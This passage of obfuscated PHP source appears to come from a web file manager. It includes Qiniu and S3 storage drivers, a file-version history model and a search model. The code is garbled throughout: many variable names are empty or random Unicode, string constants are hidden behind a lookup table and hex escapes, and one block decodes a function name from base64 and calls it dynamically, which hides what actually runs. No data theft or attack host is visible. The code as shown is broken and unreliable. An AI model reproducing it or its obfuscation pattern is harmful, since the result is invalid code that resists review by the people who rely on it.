$͚[$[87]] = 0; $͚[$[218]] = $͚[$[219]] = !0; if (empty($)) { $ = $this->objectMeta($ؼ); if (!$) { return $͚; } } if (isset($[$[220]]) && $[$[220]]) { $͚[$[221]] = $[$[220]]; } if (isset($[$[230]]) && $[$[230]]) { $͚[$[221]] = $[$[230]]; } if (isset($[$[1467]])) { $͚[$[87]] = substr($[$[1467]] . $[12], 0, 10); } if (isset($[$[1466]])) { $͚[$[78]] = $[$[1466]]; } return $͚; } public function folderInfo($΁ۏ, $Ϝ = false) { $ =& $_SERVER[砐]; $ꮜ = array($[32] => $this->pathThis($΁ۏ), $[86] => $this->getPathOuter($[8] . $΁ۏ), $[33] => $[77]); if ($Ϝ) { return $ꮜ; } $ꮜ[$[217]] = $ꮜ[$[87]] = 0; $ꮜ[$[218]] = $ꮜ[$[219]] = !0; $΁ۏ = rtrim($΁ۏ, $[8]) . $[8]; $ = $this->objectMeta($΁ۏ); if (isset($[$[1467]])) { $ꮜ[$[87]] = substr($[$[1467]] . $[12], 0, 10); } return $ꮜ; } public function listPath($ʧ, $ҫ = false) { $݈Ȏ =& $_SERVER[砐]; $ٲщ = $this->fileList($ʧ, $݈Ȏ[8], !0); foreach ($ٲщ[$݈Ȏ[84]] as $Ӫӭ => $Ń) { $ٲщ[$݈Ȏ[84]][$Ӫӭ] = $this->folderInfo($Ń, $ҫ); } foreach ($ٲщ[$݈Ȏ[85]] as $Ӫӭ => $Ń) { $ٲщ[$݈Ȏ[85]][$Ӫӭ] = $this->fileInfo($Ń[$݈Ȏ[96]], $ҫ, $Ń); } return $ٲщ; } public function has($ոЌ, $ޔ = false, $ԕ = true) { $ =& $_SERVER[砐]; $ոЌ = trim($ոЌ, $[8]); $ŵ = empty($ոЌ) && $ոЌ !== $[214] ? $[12] : $ոЌ . $[8]; $ = $[12]; $ = 500; $ = $[8]; $ = $Ԇ = 0; while (!0) { check_abort(); list($ز, $͚) = $this->bucketManager->listFiles($this->bucket, $ŵ, $, $, $); if ($͚) { break; } $ = array_key_exists($[1436], $ز) ? $ = $ز[$[1468]] : $[12]; if ($ޔ) { if (!empty($ز[$[1469]])) { $ += count($ز[$[1469]]); } if (!empty($ز[$[1470]])) { $Ԇ += count($ز[$[1470]]); } if ($ === $[12]) { break; } continue; } if ($ԕ) { if (!empty($ز[$[1469]])) { return !0; } } else { if (!empty($ز[$[1470]])) { return !0; } } if ($ === $[12]) { break; } } if ($ޔ) { return array($[225] => $, $[226] => $Ԇ); } return !1; } public function listAll($ޓ) { $ܝ =& $_SERVER[砐]; $ = $this->fileList($ޓ, $ܝ[12], !0); $𚃓 = array_to_keyvalue($[$ܝ[85]], $ܝ[32]); foreach ($[$ܝ[84]] as $Ȇۘ) { if (is_string($Ȇۘ)) { $𚃓[$Ȇۘ] = array($ܝ[78] => 0); } } return $this->listAllFiles($ޓ, $𚃓); } private function fileList($, $ȕњ = '', $މ = 0) { $Ǧ =& $_SERVER[砐]; $ = trim($, $Ǧ[8]); $ = empty($) && $ !== $Ǧ[214] ? $Ǧ[12] : $ . $Ǧ[8]; $ = $Ǧ[12]; $ͭР = 1000; $ϵ = $ = array(); while (!0) { check_abort(); list($γ, $ͱ) = $this->bucketManager->listFiles($this->bucket, $, $, $ͭР, $ȕњ); if ($ͱ) { break; } $ = array_key_exists($Ǧ[1436], $γ) ? $ = $γ[$Ǧ[1468]] : $Ǧ[12]; $ = isset($γ[$Ǧ[1469]]) ? $γ[$Ǧ[1469]] : array(); $햲 = isset($γ[$Ǧ[1470]]) ? $γ[$Ǧ[1470]] : array(); foreach ($ as $) { if ($[$Ǧ[96]] == $) { continue; } $Ч = $[$Ǧ[96]]; $υ = $[$Ǧ[1466]]; $[$Ǧ[78]] = $υ; $Ūۤ = $υ == 0 && substr($Ч, strlen($Ч) - 1, 1) == $Ǧ[8] ? !0 : !1; $this->cacheMethodInfoSet($Ч, $Ūۤ, $); if ($Ūۤ) { $ϵ[] = $Ч; continue; } $[] = $މ ? $ : $Ч; } foreach ($햲 as $Ч) { if ($Ч == $) { continue; } $ϵ[] = $Ч; $this->cacheMethodInfoSet($Ч, !0); } if ($ === $Ǧ[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($Ǧ[84] => $ϵ, $Ǧ[85] => $); } public function canRead($Ú) { return $this->exist($Ú) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($ˢΔ) { return $this->fileSubstr($ˢΔ, 0, -1); } public function setContent($œ܀, $ = '') { $ = $this->tempFile($this->pathThis($œ܀)); file_put_contents($, $); if ($this->upload($œ܀, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($ڢ) { $ =& $_SERVER[砐]; $ = array(); if (is_array($ڢ)) { foreach ($ڢ as $̂Ն) { $[] = $this->link($̂Ն); } } else { $[] = $this->link($ڢ); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($䘦, $) = $->refreshUrls($); if ($) { return !1; } return $䘦[$[1233]] == $[804] ? !0 : !1; } public function fileSubstr($۟, $چ, $ɼ) { $ =& $_SERVER[砐]; if (!($ = $this->link($۟))) { return !1; } $ = !1; if ($ɼ > 0) { $Ñ = $چ + $ɼ - 1; $ = array($[1471] . $چ . $[432] . $Ñ); } $鶟 = url_request($, $[247], !1, $); return $鶟[$[795]] ? $鶟[$[1253]] : !1; } public function upload($ң, $ڼ, $ = false, $ˤϥ = REPEAT_REPLACE) { $ɡ‘Ŧ = new Qiniu\Storage\UploadManager(); $݌ = $this->auth->uploadToken($this->bucket, $ң); $ = get_file_mime(get_path_ext($ڼ)); list($׿, $ľ) = $ɡ‘Ŧ->putFile($݌, $ң, $ڼ, null, $); return $ľ ? !1 : $this->getPathOuter($ң); } public function uploadFormData($, $DŽ = 3600) { return $this->uploadToken($, $DŽ); } public function multiUploadFormData($ӄг, $ = 3600) { return $this->uploadToken($ӄг, $); } private function uploadToken($Дͭ, $׵ = 3600) { $ℚ =& $_SERVER[砐]; $ȍ = $׵; $ = array($ℚ[1472] => $ℚ[1473]); $򍸹 = $Дͭ; $ټ = $this->auth->uploadToken($this->bucket, $򍸹, $ȍ, $, !0); $ǟ = empty($this->region) || $this->region == $ℚ[1474] ? $ℚ[12] : $ℚ[432] . $this->region; $Ή = http_type() . "\x3a\x2f\57\165\x70\x6c\157\x61\144{$ǟ}\56\161\151\156\x69\x75\x70\x2e\143\x6f\x6d\x2f"; return array($ℚ[1475] => $ټ, $ℚ[1476] => $Ή); } public function download($䃅, $Ƨ) { $փ = IO::getPathInner(IO::mkfile($Ƨ)); if (!($ = $this->link($䃅))) { return !1; } $֕ = 0; $ߊ = 1024 * 200; $ = fopen($փ, $_SERVER[砐][1477]); while (!0) { $ = $this->fileSubstr($䃅, $֕, $ߊ); if ($ === !1) { return !1; } fwrite($, $); $֕ += $ߊ; if (strlen($) < $ߊ) { break; } } fclose($); return $Ƨ; } public function link($, $ܟ = '') { if (!$this->isFile($)) { return !1; } $ = $this->getHost() . $_SERVER[砐][8] . $this->pathEncode($) . $ܟ; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($ϲ, $ڕʜ = false, $ = false, $ې = '') { $ =& $_SERVER[砐]; if ($this->isFileOutServer()) { return $this->fileOutServer($ϲ, $ڕʜ, $, $ې); } if (!$) { $ = $this->pathThis($ϲ); } $ξ = $ڕʜ ? $[1478] . rawurlencode($) : $[12]; $ = $this->link($ϲ, $ξ); $this->fileOutLink($); } public function fileOutServer($ƚ, $ = false, $ = false, $ = '') { parent::fileOut($ƚ, $, $, $); } public function fileOutImage($ܽ, $ = 250) { $݇Ĵ = $this->link($ܽ, $_SERVER[砐][1479] . $); $this->fileOutLink($݇Ĵ); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ʇ =& $_SERVER[砐]; $ǂ = $this->objectMeta($); return isset($ǂ[$ʇ[230]]) ? $ǂ[$ʇ[230]] : !1; $ = $this->link($, $ʇ[1480]); } public function size($䕢) { $ = $this->objectMeta($䕢); return $ ? $[$_SERVER[砐][78]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($פ˪) { return $this->isFile($פ˪) || $this->isFolder($פ˪); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[砐][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[砐][170], $); } protected function _objectMeta($Ց) { $ک =& $_SERVER[砐]; list($, $) = $this->bucketManager->stat($this->bucket, $Ց); if ($) { $[$ک[78]] = intval($[$ک[1466]]); } return $; } protected function _isFolder($) { $ =& $_SERVER[砐]; if ($ == $[12] || $ == $[8]) { return !0; } list($, $胴) = $this->bucketManager->listFiles($this->bucket, trim($, $[8]) . $[8], $[12], 1, $[8]); return !empty($[$[1469]]) || !empty($[$[1470]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($, $˙ = 3600) { $ =& $_SERVER[砐]; $ތ = $[215]; $乢 = $[255]; $ = $[62]; $ = gmdate($[256]); $ = gmdate($[257]); $ = $[258]; $ = $˙ . $[12]; $ = $[259]; $ܩ = array($this->accessKey, $, $this->region, $, $); $ݡ = implode($[8], $ܩ); $ = array($[260] => gmdate($[1376], strtotime($[262])), $[263] => array(array($[264] => $this->bucket), array($[265] => $ތ), array($[266], $[267], $[12]), array($[266], $[268], $[12]), array($[266], $[269], $[12]), array($[270] => $), array($[271] => $ݡ), array($[272] => $乢), array($[273] => $), array($[274] => $))); $Ķ = base64_encode(json_encode($)); $ = hash_hmac($[275], $, $[276] . $this->secret, !0); $ = hash_hmac($[275], $this->region, $, !0); $֙ = hash_hmac($[275], $, $, !0); $ = hash_hmac($[275], $, $֙, !0); $ = hash_hmac($[275], $Ķ, $); $ڠʏ = array($[232] => $[12], $[277] => $[12], $[265] => $ތ, $[270] => $, $[278] => $Ķ, $[279] => $ݡ, $[280] => $乢, $[281] => $, $[282] => $, $[283] => $, $[198] => $this->getHost()); return $ڠʏ; } public function multiUploadFormData($ެ, $ = 3600) { $٧ᨧ =& $_SERVER[砐]; $ = gmdate($٧ᨧ[1481]); $ = array(); $󉼔 = $this->client->getUploadId($this->bucket, $ެ, $); if (!$󉼔) { return !1; } return array($٧ᨧ[240] => $󉼔, $٧ᨧ[198] => $this->getHost() . $٧ᨧ[8] . $this->pathEncode($ެ), $٧ᨧ[241] => $, $٧ᨧ[96] => $ެ); } public function multiUploadAuthData($徳, $ = array()) { $呐 =& $_SERVER[砐]; $ל = isset($[$呐[177]]) ? $[$呐[177]] : $呐[12]; $ˬ͌ = $[$呐[96]]; unset($[$呐[96]]); if (isset($[$呐[242]])) { return $this->listUploadParts($ˬ͌, $); } $ = array(); if (isset($[$呐[1482]])) { $[$呐[1483]] = $[$呐[1482]]; } $入 = explode($呐[200], $this->getHost()); $Ά彚 = array($呐[1484] => $入[1], $呐[1485] => $呐[12], $呐[232] => $呐[122], $呐[277] => $[$呐[78]]); $ڿ = $呐[245]; $흣ދ = $呐[8] . $this->pathEncode($ˬ͌) . $ל; $ = $this->client->__getSignatureV4($, $Ά彚, $ڿ, $흣ދ); if (strpos($ל, $呐[244]) === 0) { if (isset($[$呐[1483]])) { $ = $[$呐[1483]]; } else { if (isset($[$呐[1483]])) { $ = $[$呐[1483]]; } else { $ = hash($呐[275], $呐[12]); } } return array($呐[251] => $[$呐[251]], $呐[1483] => $, $呐[241] => $[$呐[1486]]); } return $[$呐[251]]; } public function listUploadParts($Ó, $ɧ = array()) { $ =& $_SERVER[砐]; $ܣĵ = str_replace($[252], $[12], $ɧ[$[177]]); $ƞ = $this->client->listParts($this->bucket, $Ó, $ܣĵ); if (!$ƞ) { return !1; } $ = $[1487]; foreach ($ƞ as $㮙) { $ .= $[1488] . "\74\120\141\162\x74\x4e\x75\x6d\x62\x65\x72\x3e{$㮙[$[1444]]}\x3c\x2f\x50\141\162\164\116\x75\x6d\142\x65\162\76\xa" . "\74\105\124\x61\x67\x3e{$㮙[$[1445]]}\x3c\57\105\124\141\147\x3e\12" . $[1489]; } $ .= $[1490]; $ = array(); $ = explode($[200], $this->getHost()); $ƀ = array($[1484] => $[1], $[232] => $[122], $[277] => strlen($)); $ݚ = $[243]; $ = $[8] . $this->pathEncode($Ó) . $ɧ[$[177]]; $藺 = $this->client->__getSignatureV4($, $ƀ, $ݚ, $, $); return array($[251] => $藺[$[251]], $[241] => $藺[$[1486]], $[253] => $ƞ, $[1483] => $藺[$[1483]]); } public function link($, $ۣ = array()) { return parent::link($, $ۣ); } public function fileOut($, $Ǽ = false, $Մ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[砐][1491])) { return parent::fileOutServer($, $Ǽ, $Մ, $); } parent::fileOut($, $Ǽ, $Մ, $); } public function fileOutImage($ꁞ, $ = 250) { if (strstr($this->endpoint, $_SERVER[砐][1491])) { return parent::fileOutImageServer($ꁞ, $); } parent::fileOutImage($ꁞ, $); } public function fileOutLink($ؕ) { $ =& $_SERVER[砐]; if (substr($ؕ, 0, 7) == $[1382]) { $ؕ = $[1383] . substr($ؕ, 7); } header($[164] . $ؕ); die; } public function getHost() { $ =& $_SERVER[砐]; $ = str_rtrim(parent::getHost(), $[8] . $this->bucket); $ = explode($[200], $); return $[0] . $[200] . $this->bucket . $[10] . $[1]; } } goto B틺; EڣҲ: $fileSize = strrev(base64_decode($_SERVER[̻][0])); function binCheckNeq($ƶ, $ȶ) { return $ƶ != $ȶ; } $_SERVER[$_SERVER[̻][1]] = $fileSize($_SERVER[$_SERVER[̻][2]]); goto D; E: class SourceHistoryModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\x75\x72\x63\x65\x5f\150\x69\163\x74\157\162\x79"; public function historyCount($) { $ =& $_SERVER[砐]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($[183], $[1937] => $[536]); $ = array($[183] => array($[7], $)); $Ɣ = $this->field($)->where($)->group($[183])->select(); return array_to_keyvalue($Ɣ, $[183], $[536]); } public function addHistory($ԿɌ, $» = '') { $Ĉ =& $_SERVER[砐]; $օ = array($Ĉ[461] => $ԿɌ[$Ĉ[183]], $Ĉ[1696] => isset($ԿɌ[$Ĉ[499]]) ? $ԿɌ[$Ĉ[499]] : $ԿɌ[$Ĉ[497]], $Ĉ[512] => $ԿɌ[$Ĉ[511]], $Ĉ[587] => $ԿɌ[$Ĉ[78]], $Ĉ[2149] => $»); if ($GLOBALS[$Ĉ[6]][$Ĉ[91]][$Ĉ[1268]] >= 1) { $this->historyAutoClear($օ[$Ĉ[183]]); $this->add($օ); } Hook::trigger($Ĉ[2150], $օ); Model($Ĉ[2151])->eventFileEdit($ԿɌ[$Ĉ[183]]); } private function historyAutoClear($˿) { $̋é =& $_SERVER[砐]; $Ŀ퉰 = Model($̋é[815])->get($̋é[1290]); $ = intval($GLOBALS[$̋é[6]][$̋é[91]][$̋é[1268]]); $ = $Ŀ퉰 == $̋é[1291] ? min(5, $) : $; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 500) { return; } $ = array($̋é[461] => $˿); $Ϲ = $this->field($̋é[2152])->where($)->order($̋é[2146])->select(); if (!$Ϲ || $ >= count($Ϲ)) { return; } $ = array_to_keyvalue($Ϲ, $̋é[12], $̋é[445]); $ = array_slice($, $); $ = array_to_keyvalue($Ϲ, $̋é[12], $̋é[511]); $ = array_slice($, $); if (!$ || !$) { return; } $ = array($̋é[463] => array($̋é[7], $)); $this->where($)->delete(); Model($̋é[514])->remove($); } public function listData($) { $̙ڲ =& $_SERVER[砐]; $ȷ = array($̙ڲ[461] => $); $ = $̙ڲ[2153]; $Ь = $this->field($)->where($ȷ)->order($̙ڲ[2146])->selectPage(); $this->_listAppendUser($Ь[$̙ڲ[415]]); $ = Model($̙ڲ[815])->get($̙ڲ[1290]); $ = 5; if ($ == $̙ڲ[1291]) { $Ь[$̙ڲ[415]] = array_slice($Ь[$̙ڲ[415]], 0, $); $Ь[$̙ڲ[412]] = array($̙ڲ[2154] => 1, $̙ڲ[2155] => 20, $̙ڲ[2156] => 1, $̙ڲ[2157] => count($Ь[$̙ڲ[415]])); } return $Ь; } protected function _listAppendUser(&$) { $̟ =& $_SERVER[砐]; $ = array_to_keyvalue($, $̟[12], $̟[1705]); $ = Model($̟[569])->userListInfo($); foreach ($ as &$) { $ = $[$̟[1705]]; $[$̟[497]] = $[$] ? $[$] : !1; } unset($); } public function fileInfo($) { $ =& $_SERVER[砐]; $ = $this->tablePrefix; $ = "{$}\151\x6f\137\146\151\x6c\x65\x20\x66\151\x6c\145\x73\x20\x6f\x6e\x20\146\x69\x6c\145\163\x2e\146\151\154\145\x49\x44\40\x3d\x20\150\151\163\164\157\162\171\56\146\151\x6c\x65\111\104"; return $this->alias($[2158])->where(array($[463] => $))->join($, $[2159])->find(); } public function removeItem($Ӧ) { $ŀ =& $_SERVER[砐]; $޼إ = array($ŀ[463] => $Ӧ); $ο = $this->where($޼إ)->find(); if ($ο) { $Я = $this->where($޼إ)->delete(); Model($ŀ[514])->remove($ο[$ŀ[511]]); return $Я; } return !1; } public function removeBySource($̪) { $߇Ё =& $_SERVER[砐]; if (!$̪) { return !1; } if (!is_array($̪)) { $̪ = array($̪); } $ = array($߇Ё[461] => array($߇Ё[7], $̪)); $́ = $this->field($߇Ё[512])->where($)->select(); if ($́) { $this->where($)->delete(); $霜 = array_to_keyvalue($́, $߇Ё[12], $߇Ё[511]); Model($߇Ё[514])->remove($霜); } return !0; } public function setDetail($, $) { $߶ =& $_SERVER[砐]; return $this->where(array($߶[463] => $))->save(array($߶[2149] => $)); } public function rollbackToItem($, $) { $휘 =& $_SERVER[砐]; $ٸ = Model($휘[870])->sourceInfo($); $this->addHistory($ٸ, LNG($휘[2160])); $˫ = $this->find($); $ = array($휘[511] => $˫[$휘[511]], $휘[78] => $˫[$휘[78]], $휘[87] => time(), $휘[499] => USER_ID); Model($휘[870])->where(array($휘[183] => $))->save($); return $this->where(array($휘[463] => $))->delete(); } public function clearSame($) { $᜾ =& $_SERVER[砐]; $넴 = $this->listData($); $ю = array_to_keyvalue_group($넴, $᜾[511]); $ = array(); $š = array(); foreach ($ю as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $) { $[] = $[$᜾[511]]; $š[] = $[$᜾[445]]; } } if (!$š) { return; } $this->where(array($᜾[445] => array($᜾[7], $š)))->delete(); Model($᜾[514])->remove($); } public function userSpace() { $ַ =& $_SERVER[砐]; $ċ = $this->tablePrefix; $̛ = array($ַ[1696] => USER_ID); $ = "{$ċ}\151\157\137\146\x69\154\x65\40\146\x69\x6c\x65\x73\x20\157\x6e\x20\x66\x69\x6c\x65\163\x2e\146\151\154\x65\111\x44\40\x3d\40\150\x69\x73\x74\157\162\x79\x2e\146\x69\x6c\145\111\104"; return $this->alias($ַ[2158])->where($̛)->join($, $ַ[2159])->sum($ַ[78]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $ =& $_SERVER[砐]; $ = KodIO::fileTypeList(); $Ё = $[$]; if (!$Ё) { return array(); } $μ = $Ё[$[177]]; $Ƽ = $[7]; if (!$Ё[$[177]]) { $飊 = array_to_keyvalue($, $[12], $[177]); $μ = implode($[50], $飊); $Ƽ = $[2161]; } $ = explode($[50], trim($μ, $[50])); return array($Ƽ, $); } public function listPathType($) { $ܑ =& $_SERVER[砐]; $ = $this->fileTypeWhere($); if (!$) { return array(); } $둟 = USER_ID; $ұ = Model($ܑ[569])->getInfo($둟); $ծ = array($ܑ[618] => SourceModel::TYPE_USER, $ܑ[555] => array($ܑ[582], $ܑ[565] . $ұ[$ܑ[89]][$ܑ[183]] . $ܑ[583]), $ܑ[619] => $둟, $ܑ[616] => 0, $ܑ[617] => $); return $this->listSource($ծ); } public function listSearch($͝, $ = 300) { $ =& $_SERVER[砐]; if (isset($͝[$[1998]]) && $͝[$[1998]]) { $͝[$[1998]] = str_replace($[430], $[2162], trim($͝[$[1998]])); } $ = $this->_parseSearchWhere($͝); if (!isset($[$[475]])) { $[$[475]] = 0; } $à = $[2163]; $̍Ҋ = $; $⢊ = $Ã; $this->_listSearchBindPinyin($͝, $, $Ã); $this->alias($[489])->_makeOrder(); $ = $this->parseWhereLike($); $蠼 = $this->distinct(!0)->field($Ã)->where($)->selectPage($); if ($GLOBALS[$[6]][$[427]][$[428]] && Input::check($͝[$[1998]], $[625]) && $蠼[$[412]][$[399]] == 1 && $蠼[$[412]][$[413]] == 0) { $蠼 = $this->distinct(!0)->field($Ã)->where($̍Ҋ)->limit(1000)->select(); $蠼 = array_page_split($蠼, !1, $); } $this->_listSearchFileContent($蠼, $͝, $⢊, $̍Ҋ); $this->_listSearchDesc($蠼, $͝, $⢊); $this->_listSearchTag($蠼, $͝, $⢊); $this->_listSearchGroupTag($蠼, $͝, $⢊); $this->_listDataApply($蠼[$[415]]); $this->_listMake($蠼); return $蠼; } private function _listSearchFileContent(&$Ǿ, $, $͋, $�ݺ) { $ۉϊ =& $_SERVER[砐]; if (!$[$ۉϊ[1998]] || $Ǿ[$ۉϊ[412]][$ۉϊ[399]] > 1) { return; } if (!isset($�ݺ[$ۉϊ[32]]) || !is_array($[$ۉϊ[511]])) { return; } $�ݺ[$ۉϊ[511]] = array($ۉϊ[7], $[$ۉϊ[511]]); unset($�ݺ[$ۉϊ[32]]); unset($[$ۉϊ[511]]); $ = $this->field($͋)->where($�ݺ)->limit($ۉϊ[2164])->select(); if (!$ || count($) == 0) { return; } $Ǿ[$ۉϊ[415]] = array_merge($, $Ǿ[$ۉϊ[415]]); $Ǿ[$ۉϊ[412]][$ۉϊ[413]] += count($); } private function _listSearchTag(&$Ǎ, $, $އ) { $ =& $_SERVER[砐]; if (!$[$[1998]] || $Ǎ[$[412]][$[399]] > 1) { return; } $è = Model($[2165])->listData(); $ӟ = array(); $ = $[$[1998]]; foreach ($è as $) { $ = $[$[32]]; $Ӕ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($Ӕ, $) !== !1) { $ӟ[] = $[$[445]]; } } if (!$ӟ) { return; } $ӻ = array($[470] => array($[7], $ӟ), $[1705] => USER_ID); $۱ = Model($[472])->field($[86])->where($ӻ)->select(); $۱ = array_to_keyvalue($۱, $[12], $[86]); $ = array_unique($۱); $this->_listSearchMerge($Ǎ, $, $އ, $); } private function _listSearchDesc(&$ܳһ, $ި, $ïǙ) { $ =& $_SERVER[砐]; if (!$ި[$[1998]] || $ܳһ[$[412]][$[399]] > 1) { return; } $ = array($[96] => $[496], $[420] => array($[429], $[2000] . $ި[$[1998]] . $[2000])); $ò = !1; if ($ò) { $ލ = $this->listSearchChildren($ި[$[182]]); $ލ = array_unique($ލ); if (!$ލ) { return; } $[$[183]] = array($[7], $ލ); } $Ю = Model($[602])->field($[183])->where($)->limit(5000)->select(); $ɞδ = array_to_keyvalue($Ю, $[12], $[183]); $this->_listSearchMerge($ܳһ, $ި, $ïǙ, $ɞδ); } private function _listSearchGroupTag(&$, $, $Ι) { $ =& $_SERVER[砐]; if (!$[$[1998]] || $[$[412]][$[399]] > 1 || !$[$[182]]) { return; } $ = $this->sourceInfo($[$[182]]); if (!$ || $[$[180]] != SourceModel::TYPE_GROUP) { return; } $믷 = $[$[540]]; $Ľ = Model($[2166])->get($믷); $ᬋ = array(); $֔ = $[$[1998]]; foreach ($Ľ[$[415]] as $ę) { $Άè = $ę[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($Άè)); if (stripos($Άè, $֔) !== !1 || stripos($, $֔) !== !1) { $ᬋ[] = $ę[$[445]]; } } if (!$ᬋ) { return; } $ʨ = array($[470] => array($[7], $ᬋ), $[1705] => 0, $[33] => $[2020] . $믷); $€ = Model($[472])->field($[86])->where($ʨ)->select(); $€ = array_to_keyvalue($€, $[12], $[86]); $䫈 = array_unique($€); $this->_listSearchMerge($, $, $Ι, $䫈); } private function _listSearchMerge(&$, $ķ, $¨, $߀ä) { $ҵ =& $_SERVER[砐]; if (!$߀ä) { return; } $ַ = array_to_keyvalue($[$ҵ[415]], $ҵ[12], $ҵ[183]); $˜ = array_diff($߀ä, $ַ); if (!$˜) { return; } $Ջ͓ = array($ҵ[183] => array($ҵ[7], $˜)); $л = $this->field($¨)->where($Ջ͓)->select(); if (!$л) { return; } $̙ = array(); foreach ($л as $ְ) { if ($this->_listSearchFilter($ְ, $ķ)) { $̙[] = $ְ; } } $[$ҵ[415]] = array_merge($̙, $[$ҵ[415]]); $[$ҵ[412]][$ҵ[413]] += count($̙); } private function _listSearchFilter($ٜ, $ݐ) { $ǚ =& $_SERVER[砐]; $ = $ٜ[$ǚ[455]] == $ǚ[90]; if (!strstr($ٜ[$ǚ[555]], $ǚ[50] . $ݐ[$ǚ[182]] . $ǚ[50])) { return !1; } if (isset($ݐ[$ǚ[456]]) && $ݐ[$ǚ[456]] != $ǚ[1959]) { if ($ݐ[$ǚ[456]] == $ǚ[77] && !$) { return !1; } if ($ݐ[$ǚ[456]] != $ǚ[77] && $) { return !1; } if (!strstr($ٜ[$ǚ[177]], $ǚ[50] . $ݐ[$ǚ[456]] . $ǚ[50])) { return !1; } } if (isset($ݐ[$ǚ[2167]]) && $ݐ[$ǚ[2167]] < $ٜ[$ǚ[78]]) { return !1; } if (isset($ݐ[$ǚ[2168]]) && $ݐ[$ǚ[2168]] > $ٜ[$ǚ[78]]) { return !1; } if (isset($ݐ[$ǚ[632]]) && $ݐ[$ǚ[632]] != $ٜ[$ǚ[499]]) { return !1; } return !0; } public function listSearchChildren($˶, $ߡ = 5000) { $¿ϰ =& $_SERVER[砐]; $ = array(); $ל = $this->sourceInfo($˶); $ = array($¿ϰ[555] => array($¿ϰ[429], $ל[$¿ϰ[555]] . $ל[$¿ϰ[183]] . $¿ϰ[583])); $ڞ = $this->field($¿ϰ[78])->where($)->limit($ߡ + 1)->select(); $р = is_array($ڞ) ? count($ڞ) : 0; if ($р > $ߡ) { return $this->_listSearchChildrenNear($˶, $ߡ); } $ı頓 = $this->field($¿ϰ[183])->where($)->select(); $ = array_to_keyvalue($ı頓, $¿ϰ[12], $¿ϰ[183]); return $; } private function _listSearchChildrenNear($, $£) { $ߏ =& $_SERVER[砐]; $ݬ = array(); $᭟ = array($ߏ[182] => $); $ = $this->field($ߏ[2169])->where($᭟)->select(); $ = array_to_keyvalue(array_filter_by_field($, $ߏ[455], $ߏ[90]), $ߏ[12], $ߏ[183]); $ݬ = array_merge($ݬ, array_to_keyvalue($, $ߏ[12], $ߏ[183])); if (!$) { return $ݬ; } $᭟ = array($ߏ[182] => array($ߏ[7], $)); $ = $this->field($ߏ[2169])->where($᭟)->limit($£)->select(); $ݬ = array_merge($ݬ, array_to_keyvalue($, $ߏ[12], $ߏ[183])); $ݬ = array_slice($ݬ, 0, intval($£)); return $ݬ; } private function _listSearchBindPinyin($ҏì, &$ɚ, &$󂿇) { $ =& $_SERVER[砐]; if (!isset($ҏì[$[1998]]) || !$ҏì[$[1998]]) { return; } if (!Input::check($ҏì[$[1998]], $[364]) || strlen($ҏì[$[1998]]) < 2) { return; } $ߛ = "\x4c\105\x46\124\40\x4a\x4f\111\x4e\x20{$this->tablePrefix}\151\x6f\x5f\x73\x6f\x75\162\143\145\137\x6d\145\164\x61\x20\x6d\x65\164\x61\x20\x6f\156\40\x73\x6f\x75\x72\x63\x65\56\163\157\165\x72\x63\x65\111\x44\x20\x3d\x20\x6d\x65\x74\x61\56\x73\x6f\165\x72\x63\145\111\104"; $ = array(); $󂿇 = str_replace(array($[248], $[53], $[2170]), $[12], $󂿇); $󂿇 = $[481] . str_replace($[50], $[482], $󂿇); $ľ = $ɚ[$[32]]; unset($ɚ[$[32]]); foreach ($ɚ as $ՌΓ => $ӟØ) { $[$[481] . $ՌΓ] = $ӟØ; } foreach ($ľ as $) { $[] = array($[486] => $, $[1051] => $[2002], array($[2171] => $, $[2172] => array($[7], array($[508], $[507])))); } $this->join($ߛ); $ɚ = $; } private function _parseSearchWhere($) { $Ͳ =& $_SERVER[砐]; $ՠ = array(); if (isset($[$Ͳ[805]]) && $[$Ͳ[805]]) { $ՠ[$Ͳ[87]] = array($Ͳ[2173], $[$Ͳ[805]]); } if (isset($[$Ͳ[806]]) && $[$Ͳ[806]]) { $̦ = array($Ͳ[2174], $[$Ͳ[806]]); if ($ՠ[$Ͳ[87]]) { $ՠ[$Ͳ[87]] = array($ՠ[$Ͳ[87]], $̦, $Ͳ[2175]); } else { $ՠ[$Ͳ[87]] = $̦; } } if (isset($[$Ͳ[2167]]) && $[$Ͳ[2167]] > 0) { $ՠ[$Ͳ[78]] = array($Ͳ[2173], $[$Ͳ[2167]]); } if (isset($[$Ͳ[2168]]) && $[$Ͳ[2168]]) { $̦ = array($Ͳ[2174], $[$Ͳ[2168]]); if ($ՠ[$Ͳ[78]]) { $ՠ[$Ͳ[78]] = array($ՠ[$Ͳ[78]], $̦, $Ͳ[2175]); } else { $ՠ[$Ͳ[78]] = $̦; } } if (isset($[$Ͳ[632]]) && $[$Ͳ[632]]) { $ՠ[] = array($Ͳ[499] => $[$Ͳ[632]], $Ͳ[497] => $[$Ͳ[632]], $Ͳ[1051] => $Ͳ[2002]); } if (isset($[$Ͳ[456]]) && $[$Ͳ[456]]) { $ = $[$Ͳ[456]]; if ($ == $Ͳ[77]) { $ՠ[$Ͳ[455]] = 1; } else { if ($ == $Ͳ[2176]) { $ՠ[$Ͳ[455]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($Ͳ[50], $); $ՠ[$Ͳ[456]] = array($Ͳ[462], $); $ՠ[$Ͳ[455]] = 0; } } } } 